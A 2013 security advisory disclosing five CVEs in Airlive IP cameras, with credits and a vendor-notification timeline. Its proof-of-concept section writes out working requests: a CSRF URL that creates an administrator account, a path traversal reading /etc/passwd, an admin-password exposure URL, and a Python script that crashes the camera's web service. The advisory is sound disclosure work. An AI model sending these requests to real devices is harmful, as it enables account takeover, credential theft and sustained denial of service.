Airlive CSRF / Traversal / Disclosure / Denial Of Service

`===========================================================================  
AIRLIVE  
====================================================================  
===========================================================================  
  
1.Advisory Information  
Title: Airlive Multiple Vulnerabilities  
Date Published: 12/06/2013  
Date of last updated: 12/06/2013  
  
2.Vulnerability Description  
Multiple vulnerabilities have been found in this devices:  
-CVE-2013-3540. Cross Site Request Forgery(CWE-352) and Clickjacking(CAPEC-103)  
-CVE-2013-3541. Relative Path Traversal(CWE-23).  
-CVE-2013-3686. Information Exposure(CWE-200) and Permissions, Priveleges and Access Controls(CWE-264)  
-CVE-2013-3687. Clear Text Storage of Sensitive Information(CWE-312)  
-CVE-2013-3691. Denial of Service  
  
3.Affected Products  
CVE-2013-3541, CVE-2013-3686, the following product is affected: WL2600CAM  
CVE-2013-3540, CVE-2013-3687, the following products are affected: POE2600HD, POE250HD, POE200HD, OD-325HD, OD-2025HD, OD-2060HD, POE100HD.  
It’s possible others models are affected but they were not checked.  
  
4.PoC  
4.1.Cross Site Request Forgery (CSRF)  
CVE-2013-3540 CSRF via GET method. Targeted attack to any administrator.  
These cameras use a web interface which is prone to CSRF vulnerabilities.   
A malicious user can try targeted attacks by sending a special CSRF vector. This allows you to manipulate web interface parameters.  
In the following example we will make a vector to create an alternative user with administration credentials.  
_____________________________________________________________________________  
http://xx.xx.xx.xx/cgi-bin/admin/usrgrp.cgi?user=test1&pwd=test1&grp=administrator&sgrp=ptz&action=add&redirect=   
_____________________________________________________________________________  
  
4.2.Relative Path Traversal  
CVE-2013-3541, Transversal Path that’s allow you to read file system configuration.  
_____________________________________________________________________________  
http://xx.xx.xx.xx/cgi-bin/admin/fileread?READ.filePath=../../../../etc/passwd  
_____________________________________________________________________________  
  
4.3.Sensitive Information Exposure + Privilege Escalation  
CVE-2013-3686, Sensitive Exposure of sensitive data by writing the following URL  
_____________________________________________________________________________  
http://xx.xx.xx.xx/cgi-bin/operator/param?action=list&group=General.UserID  
_____________________________________________________________________________  
We can decode Admin password (base64).   
Now we can relogin like admin user and we have made the escalation privilege  
  
4.4.Clear Text Storage of Sensitive Information  
CVE-2013-3687 You can find all the sensitive information about the device in plain text inside the backup file.   
You can open with any text editor and look for user's information for example, passwords, users and so on.  
  
4.5.Denial of Service (DoS)  
Use CVE-2013-3691, DoS by overbuffing path ‘/’. A request with a large number of ‘a’ can take down the http service from the camera device.  
_____________________________________________________________________________  
Request: http://xx.xx.xx.xx/[a*3000]  
_____________________________________________________________________________  
You will get the next message, Conexion has been reset. After remove de adds and refresh it you will get the next message, Can't Connect  
  
It will be down for around 2min but if we are doing the request once and again each 1min for example, the camera won’t recuperate ever itself  
  
The following Python script could be used to test the DoS:  
_____________________________________________________________________________  
@ request = 'GET /' + ‘A’ * 3000 + '.html HTTP/1.0\r\n'  
@ s = socket.socket()  
@ s.connect((cam_ip, 80))  
@ s.send(request)  
@ response = s.recv(1024)  
@ s.close()  
_____________________________________________________________________________  
  
5.Credits  
  
-CVE-2013-3541 was discovered by Eliezer Varadé Lopez, Javier Repiso Sánchez and Jonás Ropero Castillo.  
-CVE-2013-3691 was discovered by Javier Repiso Sánchez and Jonás Ropero Castillo  
-CVE-2013-3540, CVE-2013-3686, CVE-2013-3687 was discovered by Jonás Ropero Castillo.  
  
6.Report Timeline  
-2013-05-31: Students team notifies the Airlive Customer Support of the vulnerabilities. No reply received.  
-2013-06-03: Students asks for a reply.  
-2013-06-05: Airlive team reports to the technical support to analyze the vulnerabilities.  
`